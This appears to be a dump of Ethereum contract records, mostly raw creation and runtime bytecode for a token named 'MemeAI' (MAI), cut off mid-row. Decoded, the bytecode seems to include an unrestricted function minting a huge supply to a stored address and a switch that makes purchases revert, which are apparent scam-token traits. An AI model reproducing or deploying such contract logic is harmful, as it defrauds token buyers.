13e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe | ||
1 | 19,493,951 | d84d1231241f10237339ffa780eee7555c5447b5115da906dc17c0c02840aa19 | 272915a0c8a0665014bad76841e9c9aee8fdad96727cbd8a6b69d56bac287a20 | f1c41c54d2be649bff8a2c60f00d3f198862bb75 | f1c41c54d2be649bff8a2c60f00d3f198862bb75 | 126c6577cdadd4195c752e9854b3aeb33fa43556 | 6007805462ffffff60a01b191661010160a81b17905569d3c21bcecceda10000006008556a52b7d2dcc80cd2e40000006009819055600a819055600b55600d805463ffffffff19166001908117909155600e8190555f600f8190556010805473f1c41c54d2be649bff8a2c60f00d3f198862bb756001600160a01b0319918216811790925560118054821683179055601280549091169091179055608081905260a081905260c081905260e08190526013819055601481905560158190556016819055610180604052610100819052610120819052610140819052610160819052601781905560188190556019819055601a55601d805460ff191690911790556005601e5534801562000110575f80fd5b50604051806040016040528060068152602001654d656d65414960d01b815250604051806040016040528060038152602001624d414960e81b81525081600390816200015d919062000524565b5060046200016c828262000524565b5050506200018962000183620003de60201b60201c565b620003e2565b620001b2336200019c6012600a620006ff565b620001ac906305f5e10062000716565b62000433565b335f908152601b60209081526040808320805460ff19166001179055805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9392849263c45a015592600480830193928290030181865afa1580156200021a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000240919062000730565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200028c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002b2919062000730565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002fd573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000323919062000730565b600680546001600160a01b03199081166001600160a01b03958616179091556007805490911691841691909117905550305f908152601b6020526040808220805460ff1990811660019081179092556010548516845282842080548216831790556012548516845282842080548216831790556011549094168352908220805484168217905561dead9091527f6790d4910a095e0e04c8daa388834616a295bac3f59038957b6d0b93a2d21684805490921617905562000758565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b60028190556001600160a01b0382165f81815260208181526040808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620004af57607f821691505b602082108103620004ce57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200051f57805f5260205f20601f840160051c81016020851015620004fb5750805b601f840160051c820191505b818110156200051c575f815560010162000507565b50505b505050565b81516001600160401b0381111562000540576200054062000486565b62000558816200055184546200049a565b84620004d4565b602080601f8311600181146200058e575f8415620005765750858301515b5f19600386901b1c1916600185901b178555620005e8565b5f85815260208120601f198616915b82811015620005be578886015182559484019460019091019084016200059d565b5085821015620005dc57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200064457815f1904821115620006285762000628620005f0565b808516156200063657918102915b93841c939080029062000609565b509250929050565b5f826200065c57506001620006f9565b816200066a57505f620006f9565b81600181146200068357600281146200068e57620006ae565b6001915050620006f9565b60ff841115620006a257620006a2620005f0565b50506001821b620006f9565b5060208310610133831016604e8410600b8410161715620006d3575081810a620006f9565b620006df838362000604565b805f1904821115620006f557620006f5620005f0565b0290505b92915050565b5f6200070f60ff8416836200064c565b9392505050565b8082028115828204841417620006f957620006f9620005f0565b5f6020828403121562000741575f80fd5b81516001600160a01b03811681146200070f575f80fd5b61243b80620007665f395ff3fe608060405260043610610241575f3560e01c80637e237a2a11610134578063c5d32bb2116100b3578063ee36e35911610078578063ee36e359146106a0578063f2fde38b146106b9578063f66895a3146106d8578063f84103fc146106fa578063f887ea4014610719578063fbe6324e14610738575f80fd5b8063c5d32bb2146105db578063d2ce0db214610609578063dd62ed3e1461061e578063e1b450ad14610662578063eb5be41214610681575f80fd5b8063997a654f116100f9578063997a654f146105625780639ee907351461056a578063a457c2d71461057e578063a8aa1b311461059d578063a9059cbb146105bc575f80fd5b80637e237a2a146104e857806385141a77146104fd5780638cd4426d146105125780638da5cb5b1461053157806395d89b411461054e575f80fd5b8063355496ca116101c0578063652e2f0411610185578063652e2f041461043357806366a88d96146104485780636aa5b37f1461045d57806370a0823114610472578063728f8eea146104a6575f80fd5b8063355496ca1461037f578063395093511461039e5780633cbd8e15146103bd57806342b6fa11146103f45780634ada218b14610413575f80fd5b806318160ddd1161020657806318160ddd1461030857806320800a001461031c57806323b872dd14610330578063274a533c1461034f578063313ce56714610364575f80fd5b806306fdde031461024c578063095ea7b3146102765780630e375a5c146102a55780631340538f146102c65780631675d802146102e5575f80fd5b3661024857005b5f80fd5b348015610257575f80fd5b50610260610758565b60405161026d9190611e9e565b60405180910390f35b348015610281575f80fd5b50610295610290366004611f0e565b6107e8565b604051901515815260200161026d565b3480156102b0575f80fd5b506102c46102bf366004611f64565b6107fe565b005b3480156102d1575f80fd5b506102c46102e0366004612036565b610890565b3480156102f0575f80fd5b506102fa60085481565b60405190815260200161026d565b348015610313575f80fd5b506002546102fa565b348015610327575f80fd5b506102c46108d8565b34801561033b575f80fd5b5061029561034a366004612058565b61094e565b34801561035a575f80fd5b506102fa600c5481565b34801561036f575f80fd5b506040516012815260200161026d565b34801561038a575f80fd5b506102c4610399366004612096565b6109fd565b3480156103a9575f80fd5b506102956103b8366004611f0e565b610a51565b3480156103c8575f80fd5b506012546103dc906001600160a01b031681565b6040516001600160a01b03909116815260200161026d565b3480156103ff575f80fd5b506102c461040e3660046120cd565b610a87565b34801561041e575f80fd5b5060075461029590600160b01b900460ff1681565b34801561043e575f80fd5b506102fa600a5481565b348015610453575f80fd5b506102fa600b5481565b348015610468575f80fd5b506102fa60095481565b34801561047d575f80fd5b506102fa61048c3660046120e4565b6001600160a01b03165f9081526020819052604090205490565b3480156104b1575f80fd5b506013546014546015546016546104c89392919084565b60408051948552602085019390935291830152606082015260800161026d565b6102c4600d805463ffffffff19166003179055565b348015610508575f80fd5b506103dc61dead81565b34801561051d575f80fd5b506102c461052c366004611f0e565b610b45565b34801561053c575f80fd5b506005546001600160a01b03166103dc565b348015610559575f80fd5b50610260610c75565b6102c4610c84565b348015610575575f80fd5b506102c4610ca9565b348015610589575f80fd5b50610295610598366004611f0e565b610cdc565b3480156105a8575f80fd5b506007546103dc906001600160a01b031681565b3480156105c7575f80fd5b506102956105d6366004611f0e565b610d76565b3480156105e6575f80fd5b506102956105f53660046120e4565b601b6020525f908152604090205460ff1681565b348015610614575f80fd5b506102fa601e5481565b348015610629575f80fd5b506102fa6106383660046120ff565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b34801561066d575f80fd5b506102c461067c36600461212b565b610d82565b34801561068c575f80fd5b506010546103dc906001600160a01b031681565b3480156106ab575f80fd5b50601d546102959060ff1681565b3480156106c4575f80fd5b506102c46106d33660046120e4565b610f27565b3480156106e3575f80fd5b50601754601854601954601a546104c89392919084565b348015610705575f80fd5b506011546103dc906001600160a01b031681565b348015610724575f80fd5b506006546103dc906001600160a01b031681565b348015610743575f80fd5b5060075461029590600160a81b900460ff1681565b60606003805461076790612154565b80601f016020809104026020016040519081016040528092919081815260200182805461079390612154565b80156107de5780601f106107b5576101008083540402835291602001916107de565b820191905f5260205f20905b8154815290600101906020018083116107c157829003601f168201915b5050505050905090565b5f6107f4338484610fc2565b5060015b92915050565b6005546001600160a01b031633146108315760405162461bcd60e51b81526004016108289061218c565b60405180910390fd5b5f5b825181101561088b5781601b5f858481518110610852576108526121c1565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610833565b505050565b6005546001600160a01b031633146108ba5760405162461bcd60e51b81526004016108289061218c565b60078054911515600160a81b0260ff60a81b19909216919091179055565b6005546001600160a01b031633146109025760405162461bcd60e51b81526004016108289061218c565b476109156005546001600160a01b031690565b6001600160a01b03166108fc8290811502906040515f60405180830381858888f1935050505015801561094a573d5f803e3d5ffd5b5050565b5f61095a8484846110e5565b6001600160a01b0384165f908152600160209081526040808320338452909152902054828110156109de5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610828565b6109f285336109ed86856121e9565b610fc2565b506001949350505050565b6005546001600160a01b03163314610a275760405162461bcd60e51b81526004016108289061218c565b6001600160a01b03919091165f908152601b60205260409020805460ff1916911515919091179055565b335f8181526001602090815260408083206001600160a01b038716845290915281205490916107f49185906109ed9086906121fc565b6005546001600160a01b03163314610ab15760405162461bcd60e51b81526004016108289061218c565b612710811115610b295760405162461bcd60e51b815260206004820152603e60248201527f53776170207468726573686f6c6420616d6f756e742073686f756c642062652060448201527f6c6f776572206f7220657175616c20746f203125206f6620746f6b656e7300006064820152608401610828565b610b356012600a6122ef565b610b3f90826122fd565b60085550565b6005546001600160a01b03163314610b6f5760405162461bcd60e51b81526004016108289061218c565b306001600160a01b03831603610be65760405162461bcd60e51b815260206004820152603660248201527f4f776e65722063616e277420636c61696d20636f6e747261637427732062616c604482015275616e6365206f6620697473206f776e20746f6b656e7360501b6064820152608401610828565b816001600160a01b031663a9059cbb610c076005546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610c51573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061088b9190612314565b60606004805461076790612154565b601154610ca7906001600160a01b03166c01431e0fae6d7217caa0000000611765565b565b6005546001600160a01b03163314610cd35760405162461bcd60e51b81526004016108289061218c565b610ca75f6117b8565b335f9081526001602090815260408083206001600160a01b038616845290915281205482811015610d5d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610828565b610d6c33856109ed86856121e9565b5060019392505050565b5f6107f43384846110e5565b6005546001600160a01b03163314610dac5760405162461bcd60e51b81526004016108289061218c565b612710831015610e0e5760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152667468616e20312560c81b6064820152608401610828565b612710821015610e715760405162461bcd60e51b815260206004820152602860248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015267207468616e20312560c01b6064820152608401610828565b612710811015610ed65760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f776044820152696572207468616e20312560b01b6064820152608401610828565b610ee26012600a6122ef565b610eec90846122fd565b600955610efb6012600a6122ef565b610f0590836122fd565b600a556012610f1590600a6122ef565b610f1f90826122fd565b600b55505050565b6005546001600160a01b03163314610f515760405162461bcd60e51b81526004016108289061218c565b6001600160a01b038116610fb65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610828565b610fbf816117b8565b50565b6001600160a01b0383166110245760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610828565b6001600160a01b0382166110855760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610828565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f81116111465760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610828565b6001600160a01b0383165f908152601b602052604090205460ff1615801561118657506001600160a01b0382165f908152601b602052604090205460ff16155b156111da57600754600160b01b900460ff166111da5760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610828565b6007546001600160a01b03848116911614801561120f57506001600160a01b0382165f908152601b602052604090205460ff16155b80156112255750600754600160a01b900460ff16155b156112f65760095481111561127c5760405162461bcd60e51b815260206004820152601d60248201527f596f752061726520657863656564696e67206d61784275794c696d69740000006044820152606401610828565b600b548161129e846001600160a01b03165f9081526020819052604090205490565b6112a891906121fc565b11156112f65760405162461bcd60e51b815260206004820181905260248201527f596f752061726520657863656564696e67206d617857616c6c65744c696d69746044820152606401610828565b6007546001600160a01b0384811691161480159061132c57506001600160a01b0382165f908152601b602052604090205460ff16155b801561135057506001600160a01b0383165f908152601b602052604090205460ff16155b80156113665750600754600160a01b900460ff16155b156114dc57600a548111156113bd5760405162461bcd60e51b815260206004820152601e60248201527f596f752061726520657863656564696e67206d617853656c6c4c696d697400006044820152606401610828565b6007546001600160a01b0383811691161461144c57600b54816113f4846001600160a01b03165f9081526020819052604090205490565b6113fe91906121fc565b111561144c5760405162461bcd60e51b815260206004820181905260248201527f596f752061726520657863656564696e67206d617857616c6c65744c696d69746044820152606401610828565b601d5460ff16156114dc576001600160a01b0383165f908152601c602052604081205461147990426121e9565b9050601e548110156114c05760405162461bcd60e51b815260206004820152601060248201526f10dbdbdb191bdddb88195b98589b195960821b6044820152606401610828565b506001600160a01b0383165f908152601c602052604090204290555b5f805f61150660405180608001604052805f81526020015f81526020015f81526020015f81525090565b6001600160a01b0387165f908152601b602052604081205460ff1615801561154657506001600160a01b0387165f908152601b602052604090205460ff16155b80156115605750600e54600c5461155d91906121fc565b43105b600754909150600160a01b900460ff168061159257506001600160a01b0388165f908152601b602052604090205460ff165b806115b457506001600160a01b0387165f908152601b602052604090205460ff165b156115c1575f92506116c6565b6007546001600160a01b0388811691161480156115dc575080155b1561165257600d5460030b6001146115f2575f80fd5b601a5460195460175460185461160891906121fc565b61161291906121fc565b61161c91906121fc565b604080516080810182526017548152601854602082015260195491810191909152601a54606082015290955085945091506116c6565b806116b75760165460155460135460145461166d91906121fc565b61167791906121fc565b61168191906121fc565b604080516080810182526013548152601454602082015260155491810191909152601654606082015290955085945091506116c6565b80156116c657600f5494508493505b60646116d285886122fd565b6116dc919061232f565b600754909350600160a81b900460ff16801561170657506007546001600160a01b03898116911614155b15611715576117158583611809565b6117298888611724868a6121e9565b6119b4565b821561175b57841561175b575f606461174287896122fd565b61174c919061232f565b90506117598930836119b4565b505b5050505050505050565b60028190556001600160a01b0382165f81815260208181526040808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b600754600160a01b900460ff1661094a576007805460ff60a01b1916600160a01b17905581156119a357305f9081526020819052604090205460085481106119a1576001600854111561185b57506008545b5f6118678460026122fd565b90505f8184602001518461187b91906122fd565b611885919061232f565b90505f61189282856121e9565b90504761189e82611b8a565b5f6118a982476121e9565b90505f8760200151866118bc91906121e9565b6118c6908361232f565b90505f8860200151826118d991906122fd565b905080156118eb576118eb8682611cda565b88515f906118fa8460026122fd565b61190491906122fd565b9050801561192257601054611922906001600160a01b031682611d89565b60408a01515f906119348560026122fd565b61193e91906122fd565b9050801561195c5760125461195c906001600160a01b031682611d89565b60608b01515f9061196e8660026122fd565b61197891906122fd565b9050801561199657601154611996906001600160a01b031682611d89565b505050505050505050505b505b6007805460ff60a01b191690555050565b6001600160a01b038316611a185760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610828565b6001600160a01b038216611a7a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610828565b6001600160a01b0383165f9081526020819052604090205481811015611af15760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610828565b611afb82826121e9565b6001600160a01b038086165f908152602081905260408082209390935590851681529081208054849290611b309084906121fc565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b7c91815260200190565b60405180910390a350505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611bbd57611bbd6121c1565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611c14573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611c38919061234e565b81600181518110611c4b57611c4b6121c1565b6001600160a01b039283166020918202929092010152600654611c719130911684610fc2565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611ca99085905f90869030904290600401612369565b5f604051808303815f87803b158015611cc0575f80fd5b505af1158015611cd2573d5f803e3d5ffd5b505050505050565b600654611cf29030906001600160a01b031684610fc2565b60065460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611d5d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611d8291906123da565b5050505050565b80471015611dd95760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610828565b5f826001600160a01b0316826040515f6040518083038185875af1925050503d805f8114611e22576040519150601f19603f3d011682016040523d82523d5f602084013e611e27565b606091505b505090508061088b5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610828565b5f602080835283518060208501525f5b81811015611eca57858101830151858201604001528201611eae565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610fbf575f80fd5b8035611f0981611eea565b919050565b5f8060408385031215611f1f575f80fd5b8235611f2a81611eea565b946020939093013593505050565b634e487b7160e01b5f52604160045260245ffd5b8015158114610fbf575f80fd5b8035611f0981611f4c565b5f8060408385031215611f75575f80fd5b823567ffffffffffffffff80821115611f8c575f80fd5b818501915085601f830112611f9f575f80fd5b8135602082821115611fb357611fb3611f38565b8160051b604051601f19603f83011681018181108682111715611fd857611fd8611f38565b604052928352818301935084810182019289841115611ff5575f80fd5b948201945b8386101561201a5761200b86611efe565b85529482019493820193611ffa565b96506120299050878201611f59565b9450505050509250929050565b5f60208284031215612046575f80fd5b813561205181611f4c565b9392505050565b5f805f6060848603121561206a575f80fd5b833561207581611eea565b9250602084013561208581611eea565b929592945050506040919091013590565b5f80604083850312156120a7575f80fd5b82356120b281611eea565b915060208301356120c281611f4c565b809150509250929050565b5f602082840312156120dd575f80fd5b5035919050565b5f602082840312156120f4575f80fd5b813561205181611eea565b5f8060408385031215612110575f80fd5b823561211b81611eea565b915060208301356120c281611eea565b5f805f6060848603121561213d575f80fd5b505081359360208301359350604090920135919050565b600181811c9082168061216857607f821691505b60208210810361218657634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b818103818111156107f8576107f86121d5565b808201808211156107f8576107f86121d5565b600181815b8085111561224957815f190482111561222f5761222f6121d5565b8085161561223c57918102915b93841c9390800290612214565b509250929050565b5f8261225f575060016107f8565b8161226b57505f6107f8565b8160018114612281576002811461228b576122a7565b60019150506107f8565b60ff84111561229c5761229c6121d5565b50506001821b6107f8565b5060208310610133831016604e8410600b84101617156122ca575081810a6107f8565b6122d4838361220f565b805f19048211156122e7576122e76121d5565b029392505050565b5f61205160ff841683612251565b80820281158282048414176107f8576107f86121d5565b5f60208284031215612324575f80fd5b815161205181611f4c565b5f8261234957634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121561235e575f80fd5b815161205181611eea565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156123b95784516001600160a01b031683529383019391830191600101612394565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f606084860312156123ec575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220dfbf92fcbda89fe99a2cd1e5e0aab101181d6b04aa995bc1120696615ff152e364736f6c63430008170033 | 608060405260043610610241575f3560e01c80637e237a2a11610134578063c5d32bb2116100b3578063ee36e35911610078578063ee36e359146106a0578063f2fde38b146106b9578063f66895a3146106d8578063f84103fc146106fa578063f887ea4014610719578063fbe6324e14610738575f80fd5b8063c5d32bb2146105db578063d2ce0db214610609578063dd62ed3e1461061e578063e1b450ad14610662578063eb5be41214610681575f80fd5b8063997a654f116100f9578063997a654f146105625780639ee907351461056a578063a457c2d71461057e578063a8aa1b311461059d578063a9059cbb146105bc575f80fd5b80637e237a2a146104e857806385141a77146104fd5780638cd4426d146105125780638da5cb5b1461053157806395d89b411461054e575f80fd5b8063355496ca116101c0578063652e2f0411610185578063652e2f041461043357806366a88d96146104485780636aa5b37f1461045d57806370a0823114610472578063728f8eea146104a6575f80fd5b8063355496ca1461037f578063395093511461039e5780633cbd8e15146103bd57806342b6fa11146103f45780634ada218b14610413575f80fd5b806318160ddd1161020657806318160ddd1461030857806320800a001461031c57806323b872dd14610330578063274a533c1461034f578063313ce56714610364575f80fd5b806306fdde031461024c578063095ea7b3146102765780630e375a5c146102a55780631340538f146102c65780631675d802146102e5575f80fd5b3661024857005b5f80fd5b348015610257575f80fd5b50610260610758565b60405161026d9190611e9e565b60405180910390f35b348015610281575f80fd5b50610295610290366004611f0e565b6107e8565b604051901515815260200161026d565b3480156102b0575f80fd5b506102c46102bf366004611f64565b6107fe565b005b3480156102d1575f80fd5b506102c46102e0366004612036565b610890565b3480156102f0575f80fd5b506102fa60085481565b60405190815260200161026d565b348015610313575f80fd5b506002546102fa565b348015610327575f80fd5b506102c46108d8565b34801561033b575f80fd5b5061029561034a366004612058565b61094e565b34801561035a575f80fd5b506102fa600c5481565b34801561036f575f80fd5b506040516012815260200161026d565b34801561038a575f80fd5b506102c4610399366004612096565b6109fd565b3480156103a9575f80fd5b506102956103b8366004611f0e565b610a51565b3480156103c8575f80fd5b506012546103dc906001600160a01b031681565b6040516001600160a01b03909116815260200161026d565b3480156103ff575f80fd5b506102c461040e3660046120cd565b610a87565b34801561041e575f80fd5b5060075461029590600160b01b900460ff1681565b34801561043e575f80fd5b506102fa600a5481565b348015610453575f80fd5b506102fa600b5481565b348015610468575f80fd5b506102fa60095481565b34801561047d575f80fd5b506102fa61048c3660046120e4565b6001600160a01b03165f9081526020819052604090205490565b3480156104b1575f80fd5b506013546014546015546016546104c89392919084565b60408051948552602085019390935291830152606082015260800161026d565b6102c4600d805463ffffffff19166003179055565b348015610508575f80fd5b506103dc61dead81565b34801561051d575f80fd5b506102c461052c366004611f0e565b610b45565b34801561053c575f80fd5b506005546001600160a01b03166103dc565b348015610559575f80fd5b50610260610c75565b6102c4610c84565b348015610575575f80fd5b506102c4610ca9565b348015610589575f80fd5b50610295610598366004611f0e565b610cdc565b3480156105a8575f80fd5b506007546103dc906001600160a01b031681565b3480156105c7575f80fd5b506102956105d6366004611f0e565b610d76565b3480156105e6575f80fd5b506102956105f53660046120e4565b601b6020525f908152604090205460ff1681565b348015610614575f80fd5b506102fa601e5481565b348015610629575f80fd5b506102fa6106383660046120ff565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b34801561066d575f80fd5b506102c461067c36600461212b565b610d82565b34801561068c575f80fd5b506010546103dc906001600160a01b031681565b3480156106ab575f80fd5b50601d546102959060ff1681565b3480156106c4575f80fd5b506102c46106d33660046120e4565b610f27565b3480156106e3575f80fd5b50601754601854601954601a546104c89392919084565b348015610705575f80fd5b506011546103dc906001600160a01b031681565b348015610724575f80fd5b506006546103dc906001600160a01b031681565b348015610743575f80fd5b5060075461029590600160a81b900460ff1681565b60606003805461076790612154565b80601f016020809104026020016040519081016040528092919081815260200182805461079390612154565b80156107de5780601f106107b5576101008083540402835291602001916107de565b820191905f5260205f20905b8154815290600101906020018083116107c157829003601f168201915b5050505050905090565b5f6107f4338484610fc2565b5060015b92915050565b6005546001600160a01b031633146108315760405162461bcd60e51b81526004016108289061218c565b60405180910390fd5b5f5b825181101561088b5781601b5f858481518110610852576108526121c1565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610833565b505050565b6005546001600160a01b031633146108ba5760405162461bcd60e51b81526004016108289061218c565b60078054911515600160a81b0260ff60a81b19909216919091179055565b6005546001600160a01b031633146109025760405162461bcd60e51b81526004016108289061218c565b476109156005546001600160a01b031690565b6001600160a01b03166108fc8290811502906040515f60405180830381858888f1935050505015801561094a573d5f803e3d5ffd5b5050565b5f61095a8484846110e5565b6001600160a01b0384165f908152600160209081526040808320338452909152902054828110156109de5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610828565b6109f285336109ed86856121e9565b610fc2565b506001949350505050565b6005546001600160a01b03163314610a275760405162461bcd60e51b81526004016108289061218c565b6001600160a01b03919091165f908152601b60205260409020805460ff1916911515919091179055565b335f8181526001602090815260408083206001600160a01b038716845290915281205490916107f49185906109ed9086906121fc565b6005546001600160a01b03163314610ab15760405162461bcd60e51b81526004016108289061218c565b612710811115610b295760405162461bcd60e51b815260206004820152603e60248201527f53776170207468726573686f6c6420616d6f756e742073686f756c642062652060448201527f6c6f776572206f7220657175616c20746f203125206f6620746f6b656e7300006064820152608401610828565b610b356012600a6122ef565b610b3f90826122fd565b60085550565b6005546001600160a01b03163314610b6f5760405162461bcd60e51b81526004016108289061218c565b306001600160a01b03831603610be65760405162461bcd60e51b815260206004820152603660248201527f4f776e65722063616e277420636c61696d20636f6e747261637427732062616c604482015275616e6365206f6620697473206f776e20746f6b656e7360501b6064820152608401610828565b816001600160a01b031663a9059cbb610c076005546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610c51573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061088b9190612314565b60606004805461076790612154565b601154610ca7906001600160a01b03166c01431e0fae6d7217caa0000000611765565b565b6005546001600160a01b03163314610cd35760405162461bcd60e51b81526004016108289061218c565b610ca75f6117b8565b335f9081526001602090815260408083206001600160a01b038616845290915281205482811015610d5d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610828565b610d6c33856109ed86856121e9565b5060019392505050565b5f6107f43384846110e5565b6005546001600160a01b03163314610dac5760405162461bcd60e51b81526004016108289061218c565b612710831015610e0e5760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152667468616e20312560c81b6064820152608401610828565b612710821015610e715760405162461bcd60e51b815260206004820152602860248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015267207468616e20312560c01b6064820152608401610828565b612710811015610ed65760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f776044820152696572207468616e20312560b01b6064820152608401610828565b610ee26012600a6122ef565b610eec90846122fd565b600955610efb6012600a6122ef565b610f0590836122fd565b600a556012610f1590600a6122ef565b610f1f90826122fd565b600b55505050565b6005546001600160a01b03163314610f515760405162461bcd60e51b81526004016108289061218c565b6001600160a01b038116610fb65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610828565b610fbf816117b8565b50565b6001600160a01b0383166110245760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610828565b6001600160a01b0382166110855760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610828565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f81116111465760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610828565b6001600160a01b0383165f908152601b602052604090205460ff1615801561118657506001600160a01b0382165f908152601b602052604090205460ff16155b156111da57600754600160b01b900460ff166111da5760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610828565b6007546001600160a01b03848116911614801561120f57506001600160a01b0382165f908152601b602052604090205460ff16155b80156112255750600754600160a01b900460ff16155b156112f65760095481111561127c5760405162461bcd60e51b815260206004820152601d60248201527f596f752061726520657863656564696e67206d61784275794c696d69740000006044820152606401610828565b600b548161129e846001600160a01b03165f9081526020819052604090205490565b6112a891906121fc565b11156112f65760405162461bcd60e51b815260206004820181905260248201527f596f752061726520657863656564696e67206d617857616c6c65744c696d69746044820152606401610828565b6007546001600160a01b0384811691161480159061132c57506001600160a01b0382165f908152601b602052604090205460ff16155b801561135057506001600160a01b0383165f908152601b602052604090205460ff16155b80156113665750600754600160a01b900460ff16155b156114dc57600a548111156113bd5760405162461bcd60e51b815260206004820152601e60248201527f596f752061726520657863656564696e67206d617853656c6c4c696d697400